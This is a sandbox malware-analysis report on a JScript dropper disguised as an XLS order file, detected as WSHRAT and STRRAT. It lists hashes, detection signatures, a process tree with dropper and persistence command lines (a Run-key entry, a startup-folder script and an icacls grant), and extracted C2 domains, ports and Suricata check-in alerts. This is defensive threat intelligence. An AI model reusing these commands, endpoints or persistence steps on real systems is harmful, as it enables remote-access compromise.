Edit tour

Windows Analysis Report
ORDER-24171200967.XLS..js

Overview

General Information

Sample name:	ORDER-24171200967.XLS..js
Analysis ID:	1576426
MD5:	f9909c7c05d71c1d6b64286308f98acc
SHA1:	285b28cb198161825f9860c9d92d394b4e5432bd
SHA256:	3262bd3a884311409a84415b7edffaecfacd37c2948f3f4fc1ea5b664abaed85
Tags:	jsSTRRATuser-abuse_ch
Infos:

Detection

WSHRat, Caesium Obfuscator, STRRAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected WSHRat

Found malware configuration

JScript performs obfuscated calls to suspicious functions

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Sigma detected: Drops script at startup location

Sigma detected: Register Wscript In Run Key

Suricata IDS alerts for network traffic

System process connects to network (likely due to code injection or exploit)

Yara detected Caesium Obfuscator

Yara detected STRRAT

Yara detected WSHRAT

C2 URLs / IPs found in malware configuration

Drops script or batch files to the startup folder

JavaScript source code contains functionality to generate code involving HTTP requests or file downloads

JavaScript source code contains functionality to generate code involving a shell, file or stream

Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes)

Sigma detected: Cscript/Wscript Uncommon Script Extension Execution

Sigma detected: Script Initiated Connection to Non-Local Network

Sigma detected: Script Interpreter Execution From Suspicious Folder

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Sigma detected: WScript or CScript Dropper - File

Uses known network protocols on non-standard ports

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript called in batch mode (surpress errors)

Yara detected AllatoriJARObfuscator

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to query CPU information (cpuid)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Found WSH timer for Javascript or VBS script (likely evasive script)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Queries the volume information (name, serial number etc) of a device

Sigma detected: Script Initiated Connection

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Stores files to the Windows start menu directory

Uses a known web browser user agent for HTTP communication

Uses cacls to modify the permissions of files

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7288 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ORDER-24171200967.XLS..js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

wscript.exe (PID: 7388 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\ELMAMV.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

wscript.exe (PID: 7436 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\adobe.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

wscript.exe (PID: 7580 cmdline: "C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Roaming\adobe.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

wscript.exe (PID: 7460 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\word.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

javaw.exe (PID: 7540 cmdline: "C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe" -jar "C:\Users\user\AppData\Local\Temp\BDl.jar" MD5: 6E0F4F812AE02FBCB744A929E74A04B8)

icacls.exe (PID: 7616 cmdline: C:\Windows\system32\icacls.exe C:\ProgramData\Oracle\Java\.oracle_jre_usage /grant "everyone":(OI)(CI)M MD5: 2E49585E4E08565F52090B144062F97E)

conhost.exe (PID: 7624 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wscript.exe (PID: 7840 cmdline: "C:\Windows\system32\wscript.exe" //B "C:\Users\user\AppData\Roaming\adobe.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

wscript.exe (PID: 8048 cmdline: "C:\Windows\system32\wscript.exe" //B "C:\Users\user\AppData\Roaming\adobe.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

wscript.exe (PID: 8108 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\adobe.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

wscript.exe (PID: 8156 cmdline: "C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Roaming\adobe.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Houdini, WSHRAT	Houdini is a VBS-based RAT dating back to 2013. Past in the days, it used to be wrapped in an .exe but started being spamvertized or downloaded by other malware directly as .vbs in 2018. In 2019, WSHRAT appeared, a Javascript-based version of Houdini, recoded by the name of Kognito.	No Attribution	http://blog.morphisec.com/hworm-houdini-aka-njrat http://blogs.360.cn/post/analysis-of-apt-c-37.html https://about.fb.com/news/2021/04/taking-action-against-hackers-in-palestine/ https://blog.morphisec.com/ahk-rat-loader-leveraged-in-unique-delivery-campaigns https://blog.talosintelligence.com/2021/09/operation-layover-how-we-tracked-attack.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.houdini

Malware Configuration

Threatname: WSHRAT

{"C2 url": "chongmei33.publicvm.com", "Port": "7045", "Install folder": "%appdata%"}

Threatname: STRRAT

{"C2 list": "chongmei33.publicvm.com:44662", "url": "http://jbfrost.live/strigoi/server/?hwid=1&lid=m&ht=5", "Proxy": "jinvestments.duckdns.org:44662", "lid": "khonsari", "Startup": "true", "Secondary Startup": "true", "Scheduled Task": "true"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
0000000E.00000003.2387400897.000001F2AE942000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security
0000000E.00000003.2388054789.000001F2AE942000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security
0000000E.00000002.2975000160.000001F2AE904000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security
00000005.00000003.1742267547.00000296C005A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security
0000000E.00000003.2387784576.000001F2AE942000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security
0000000E.00000003.2387552603.000001F2AE942000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security
0000000D.00000003.2018966417.00000134E0C5A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security
0000000E.00000003.2387944449.000001F2AE942000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security
0000000E.00000003.2388166668.000001F2AE947000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security
00000005.00000002.2975088577.00000296C2089000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security
0000000E.00000003.2387668685.000001F2AE942000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security
0000000D.00000003.2018985859.00000134E2BF9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security
00000002.00000003.1737403220.000002890EC5B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security
0000000E.00000003.2024564022.000001F2ACADA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security
00000002.00000003.1731617996.0000028910DD9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security
00000002.00000003.1737294096.000002890EBB1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security
00000004.00000002.2977567936.0000000009D95000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Allatori_JAR_Obfuscator	Yara detected Allatori_JAR_Obfuscator	Joe Security
00000004.00000002.2977567936.0000000009D95000.00000004.00000800.00020000.00000000.sdmp	INDICATOR_JAVA_Packed_Allatori	Detects files packed with Allatori Java Obfuscator	ditekSHen	0x28ac:$s1: # Obfuscation by Allatori Obfuscator
00000002.00000003.1735824367.0000028910DD9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security
0000000D.00000003.2020882585.00000134E2BF9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security
00000004.00000002.2977567936.0000000009D68000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_STRRAT	Yara detected STRRAT	Joe Security
00000004.00000002.2977567936.0000000009EA3000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_STRRAT	Yara detected STRRAT	Joe Security
0000000E.00000003.2024584613.000001F2AE9D9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security
0000000E.00000003.2387668685.000001F2AE8F4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security
0000000E.00000003.2387552603.000001F2AE8EE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security
0000000D.00000003.2021378874.00000134E0B3E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security
0000000E.00000003.2024426072.000001F2AE9D9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security
00000005.00000002.2973699666.00000296BFD98000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security
00000005.00000003.1741594797.00000296C2089000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security
0000000E.00000002.2975324132.000001F2AE9D9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security
00000002.00000003.1731869784.0000028910DD9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security
0000000D.00000003.2018761492.00000134E2BF9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security
0000000E.00000002.2975000160.000001F2AE942000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security
00000005.00000002.2974480890.00000296C1FD2000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security
0000000E.00000003.2387784576.000001F2AE8FC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security
0000000E.00000003.2388054789.000001F2AE903000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security
00000004.00000002.2977567936.0000000009D62000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Allatori_JAR_Obfuscator	Yara detected Allatori_JAR_Obfuscator	Joe Security
00000004.00000002.2977567936.0000000009D62000.00000004.00000800.00020000.00000000.sdmp	INDICATOR_JAVA_Packed_Allatori	Detects files packed with Allatori Java Obfuscator	ditekSHen	0x2f94:$s1: # Obfuscation by Allatori Obfuscator
0000000E.00000003.2387944449.000001F2AE901000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security
00000004.00000002.2977567936.0000000009D99000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CaesiumObfuscator	Yara detected Caesium Obfuscator	Joe Security
0000000D.00000003.2021244896.00000134E0A92000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security
0000000E.00000003.2387894883.000001F2AC9C8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security
00000005.00000003.1742746443.00000296C2089000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security
00000002.00000003.1731838543.000002890EB0A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security
00000004.00000002.2977567936.0000000009E11000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CaesiumObfuscator	Yara detected Caesium Obfuscator	Joe Security
0000000E.00000003.2387400897.000001F2AE8E4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security
0000000E.00000002.2973698231.000001F2AC8E8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security
Process Memory Space: wscript.exe PID: 7436	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security
Process Memory Space: javaw.exe PID: 7540	JoeSecurity_CaesiumObfuscator	Yara detected Caesium Obfuscator	Joe Security
Process Memory Space: javaw.exe PID: 7540	JoeSecurity_STRRAT	Yara detected STRRAT	Joe Security
Process Memory Space: javaw.exe PID: 7540	JoeSecurity_Allatori_JAR_Obfuscator	Yara detected Allatori_JAR_Obfuscator	Joe Security
Process Memory Space: javaw.exe PID: 7540	INDICATOR_JAVA_Packed_Allatori	Detects files packed with Allatori Java Obfuscator	ditekSHen	0x511830:$s1: # Obfuscation by Allatori Obfuscator 0x946ed5:$s1: # Obfuscation by Allatori Obfuscator
Process Memory Space: wscript.exe PID: 7580	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security
Process Memory Space: wscript.exe PID: 8108	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security
Process Memory Space: wscript.exe PID: 8156	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security
Click to see the 50 entries

Other

Source	Rule	Description	Author
amsi64_7436.amsi.csv	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security
amsi64_7580.amsi.csv	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security
amsi64_8108.amsi.csv	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security
amsi64_8156.amsi.csv	JoeSecurity_WSHRAT	Yara detected WSHRAT	Joe Security

Sigma Signatures

System Summary

Sigma detected: Cscript/Wscript Uncommon Script Extension Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ORDER-24171200967.XLS..js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ORDER-24171200967.XLS..js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ORDER-24171200967.XLS..js", ProcessId: 7288, ProcessName: wscript.exe

Sigma detected: Script Initiated Connection to Non-Local Network

Source: Network Connection

Author: frack113, Florian Roth: Data: DestinationIp: 46.246.82.66, DestinationIsIpv6: false, DestinationPort: 7045, EventID: 3, Image: C:\Windows\System32\wscript.exe, Initiated: true, ProcessId: 7580, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49801

Sigma detected: Script Interpreter Execution From Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\ELMAMV.js" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\ELMAMV.js" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ORDER-24171200967.XLS..js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7288, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\ELMAMV.js" , ProcessId: 7388, ProcessName: wscript.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\ELMAMV.js" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\ELMAMV.js" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ORDER-24171200967.XLS..js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7288, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\ELMAMV.js" , ProcessId: 7388, ProcessName: wscript.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ORDER-24171200967.XLS..js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ORDER-24171200967.XLS..js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ORDER-24171200967.XLS..js", ProcessId: 7288, ProcessName: wscript.exe

Sigma detected: WScript or CScript Dropper - File

Source: File created

Author: Tim Shelton: Data: EventID: 11, Image: C:\Windows\System32\wscript.exe, ProcessId: 7288, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\ours[1].js

Sigma detected: Script Initiated Connection

Source: Network Connection

Author: frack113: Data: DestinationIp: 192.3.220.6, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Windows\System32\wscript.exe, Initiated: true, ProcessId: 7288, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49730

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ORDER-24171200967.XLS..js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ORDER-24171200967.XLS..js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ORDER-24171200967.XLS..js", ProcessId: 7288, ProcessName: wscript.exe

Data Obfuscation

Sigma detected: Drops script at startup location

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Windows\System32\wscript.exe, ProcessId: 7436, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\adobe.js

Persistence and Installation Behavior

Sigma detected: Register Wscript In Run Key

Source: Registry Key set

Author: Joe Security: Data: Details: wscript.exe //B "C:\Users\user\AppData\Roaming\adobe.js", EventID: 13, EventType: SetValue, Image: C:\Windows\System32\wscript.exe, ProcessId: 7436, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\adobe

Suricata Signatures

ET MALWARE WSHRAT CnC Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T03:52:29.130354+0100	2027447	1	Malware Command and Control Activity Detected	192.168.2.4	49801	46.246.82.66	7045	TCP
2024-12-17T03:52:34.737869+0100	2027447	1	Malware Command and Control Activity Detected	192.168.2.4	49819	46.246.82.66	7045	TCP
2024-12-17T03:52:36.354208+0100	2027447	1	Malware Command and Control Activity Detected	192.168.2.4	49825	46.246.82.66	7045	TCP
2024-12-17T03:52:41.673334+0100	2027447	1	Malware Command and Control Activity Detected	192.168.2.4	49842	46.246.82.66	7045	TCP
2024-12-17T03:52:43.506028+0100	2027447	1	Malware Command and Control Activity Detected	192.168.2.4	49848	46.246.82.66	7045	TCP
2024-12-17T03:52:48.585175+0100	2027447	1	Malware Command and Control Activity Detected	192.168.2.4	49864	46.246.82.66	7045	TCP
2024-12-17T03:52:53.729629+0100	2027447	1	Malware Command and Control Activity Detected	192.168.2.4	49871	46.246.82.66	7045	TCP
2024-12-17T03:52:55.585887+0100	2027447	1	Malware Command and Control Activity Detected	192.168.2.4	49886	46.246.82.66	7045	TCP
2024-12-17T03:53:00.802239+0100	2027447	1	Malware Command and Control Activity Detected	192.168.2.4	49909	46.246.82.66	7045	TCP
2024-12-17T03:53:02.896693+0100	2027447	1	Malware Command and Control Activity Detected	192.168.2.4	49920	46.246.82.66	7045	TCP
2024-12-17T03:53:07.746995+0100	2027447	1	Malware Command and Control Activity Detected	192.168.2.4	49952	46.246.82.66	7045	TCP
2024-12-17T03:53:10.076553+0100	2027447	1	Malware Command and Control Activity Detected	192.168.2.4	49964	46.246.82.66	7045	TCP
2024-12-17T03:53:14.650257+0100	2027447	1	Malware Command and Control Activity Detected	192.168.2.4	49990	46.246.82.66	7045	TCP
2024-12-17T03:53:17.280262+0100	2027447	1	Malware Command and Control Activity Detected	192.168.2.4	50002	46.246.82.66	7045	TCP
2024-12-17T03:53:24.553944+0100	2027447	1	Malware Command and Control Activity Detected	192.168.2.4	50040	46.246.82.66	7045	TCP
2024-12-17T03:53:24.633136+0100	2027447	1	Malware Command and Control Activity Detected	192.168.2.4	50026	46.246.82.66	7045	TCP
2024-12-17T03:53:33.781774+0100	2027447	1	Malware Command and Control Activity Detected	192.168.2.4	50082	46.246.82.66	7045	TCP
2024-12-17T03:53:33.782415+0100	2027447	1	Malware Command and Control Activity Detected	192.168.2.4	50083	46.246.82.66	7045	TCP
2024-12-17T03:53:40.706518+0100	2027447	1	Malware Command and Control Activity Detected	192.168.2.4	50130	46.246.82.66	7045	TCP
2024-12-17T03:53:41.603651+0100	2027447	1	Malware Command and Control Activity Detected	192.168.2.4	50131	46.246.82.66	7045	TCP
2024-12-17T03:53:48.161809+0100	2027447	1	Malware Command and Control Activity Detected	192.168.2.4	50168	46.246.82.66	7045	TCP
2024-12-17T03:53:48.925123+0100	2027447	1	Malware Command and Control Activity Detected	192.168.2.4	50173	46.246.82.66	7045	TCP
2024-12-17T03:53:56.117633+0100	2027447	1	Malware Command and Control Activity Detected	192.168.2.4	50207	46.246.82.66	7045	TCP
2024-12-17T03:53:57.049952+0100	2027447	1	Malware Command and Control Activity Detected	192.168.2.4	50215	46.246.82.66	7045	TCP
2024-12-17T03:54:04.151539+0100	2027447	1	Malware Command and Control Activity Detected	192.168.2.4	50250	46.246.82.66	7045	TCP
2024-12-17T03:54:04.234595+0100	2027447	1	Malware Command and Control Activity Detected	192.168.2.4	50255	46.246.82.66	7045	TCP

ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T03:52:29.130354+0100	2017516	1	Malware Command and Control Activity Detected	192.168.2.4	49801	46.246.82.66	7045	TCP
2024-12-17T03:52:34.737869+0100	2017516	1	Malware Command and Control Activity Detected	192.168.2.4	49819	46.246.82.66	7045	TCP
2024-12-17T03:52:36.354208+0100	2017516	1	Malware Command and Control Activity Detected	192.168.2.4	49825	46.246.82.66	7045	TCP
2024-12-17T03:52:41.673334+0100	2017516	1	Malware Command and Control Activity Detected	192.168.2.4	49842	46.246.82.66	7045	TCP
2024-12-17T03:52:43.506028+0100	2017516	1	Malware Command and Control Activity Detected	192.168.2.4	49848	46.246.82.66	7045	TCP
2024-12-17T03:52:48.585175+0100	2017516	1	Malware Command and Control Activity Detected	192.168.2.4	49864	46.246.82.66	7045	TCP
2024-12-17T03:52:53.729629+0100	2017516	1	Malware Command and Control Activity Detected	192.168.2.4	49871	46.246.82.66	7045	TCP
2024-12-17T03:52:55.585887+0100	2017516	1	Malware Command and Control Activity Detected	192.168.2.4	49886	46.246.82.66	7045	TCP
2024-12-17T03:53:00.802239+0100	2017516	1	Malware Command and Control Activity Detected	192.168.2.4	49909	46.246.82.66	7045	TCP
2024-12-17T03:53:02.896693+0100	2017516	1	Malware Command and Control Activity Detected	192.168.2.4	49920	46.246.82.66	7045	TCP
2024-12-17T03:53:07.746995+0100	2017516	1	Malware Command and Control Activity Detected	192.168.2.4	49952	46.246.82.66	7045	TCP
2024-12-17T03:53:10.076553+0100	2017516	1	Malware Command and Control Activity Detected	192.168.2.4	49964	46.246.82.66	7045	TCP
2024-12-17T03:53:14.650257+0100	2017516	1	Malware Command and Control Activity Detected	192.168.2.4	49990	46.246.82.66	7045	TCP
2024-12-17T03:53:17.280262+0100	2017516	1	Malware Command and Control Activity Detected	192.168.2.4	50002	46.246.82.66	7045	TCP
2024-12-17T03:53:24.553944+0100	2017516	1	Malware Command and Control Activity Detected	192.168.2.4	50040	46.246.82.66	7045	TCP
2024-12-17T03:53:24.633136+0100	2017516	1	Malware Command and Control Activity Detected	192.168.2.4	50026	46.246.82.66	7045	TCP
2024-12-17T03:53:33.781774+0100	2017516	1	Malware Command and Control Activity Detected	192.168.2.4	50082	46.246.82.66	7045	TCP
2024-12-17T03:53:33.782415+0100	2017516	1	Malware Command and Control Activity Detected	192.168.2.4	50083	46.246.82.66	7045	TCP
2024-12-17T03:53:40.706518+0100	2017516	1	Malware Command and Control Activity Detected	192.168.2.4	50130	46.246.82.66	7045	TCP
2024-12-17T03:53:41.603651+0100	2017516	1	Malware Command and Control Activity Detected	192.168.2.4	50131	46.246.82.66	7045	TCP
2024-12-17T03:53:48.161809+0100	2017516	1	Malware Command and Control Activity Detected	192.168.2.4	50168	46.246.82.66	7045	TCP
2024-12-17T03:53:48.925123+0100	2017516	1	Malware Command and Control Activity Detected	192.168.2.4	50173	46.246.82.66	7045	TCP
2024-12-17T03:53:56.117633+0100	2017516	1	Malware Command and Control Activity Detected	192.168.2.4	50207	46.246.82.66	7045	TCP
2024-12-17T03:53:57.049952+0100	2017516	1	Malware Command and Control Activity Detected	192.168.2.4	50215	46.246.82.66	7045	TCP
2024-12-17T03:54:04.151539+0100	2017516	1	Malware Command and Control Activity Detected	192.168.2.4	50250	46.246.82.66	7045	TCP
2024-12-17T03:54:04.234595+0100	2017516	1	Malware Command and Control Activity Detected	192.168.2.4	50255	46.246.82.66	7045	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://chongmei33.publicvm.com:7045/is-readyad4	Avira URL Cloud: Label: phishing
Source: http://chongmei33.publicvm.com:7045/is-readyAccept	Avira URL Cloud: Label: phishing
Source: http://chongmei33.publicvm.com:7045/is-ready	Avira URL Cloud: Label: phishing
Source: chongmei33.publicvm.com	Avira URL Cloud: Label: phishing
Source: http://chongmei33.publicvm.com:7045/7=si-	Avira URL Cloud: Label: phishing
Source: http://chongmei33.publicvm.com:7045/is-readyOi	Avira URL Cloud: Label: phishing
Source: http://chongmei33.publicvm.com:7045/is-ready$	Avira URL Cloud: Label: phishing
Source: http://chongmei33.publicvm.com:7045/is-ready3	Avira URL Cloud: Label: phishing
Source: http://chongmei33.publicvm.com:7045/is-ready.	Avira URL Cloud: Label: phishing
Source: http://chongmei33.publicvm.com/	Avira URL Cloud: Label: phishing
Source: http://chongmei33.publicvm.com:7045/is-readycvm.com:7045/is-readyD	Avira URL Cloud: Label: phishing
Source: http://chongmei33.publicvm.com:7045/is-ready7	Avira URL Cloud: Label: phishing
Source: http://chongmei33.publicvm.com:7045/is-ready4J	Avira URL Cloud: Label: phishing
Source: http://chongmei33.publicvm.com:7045/is-ready?	Avira URL Cloud: Label: phishing
Source: http://chongmei33.publicvm.com:7045/is-readyK	Avira URL Cloud: Label: phishing
Source: http://chongmei33.publicvm.com:7045/is-readydob.js	Avira URL Cloud: Label: phishing
Source: http://chongmei33.publicvm.com:7045/is-readyG	Avira URL Cloud: Label: phishing
Source: http://chongmei33.publicvm.com:7045/is-readyD	Avira URL Cloud: Label: phishing
Source: http://chongmei33.publicvm.com:7045/is-readyS	Avira URL Cloud: Label: phishing
Source: http://chongmei33.publicvm.com:7045/is-readyN	Avira URL Cloud: Label: phishing
Source: http://chongmei33.publicvm.com:7045/is-readyc	Avira URL Cloud: Label: phishing
Source: http://chongmei33.publicvm.com:7045/is-ready1ad4	Avira URL Cloud: Label: phishing
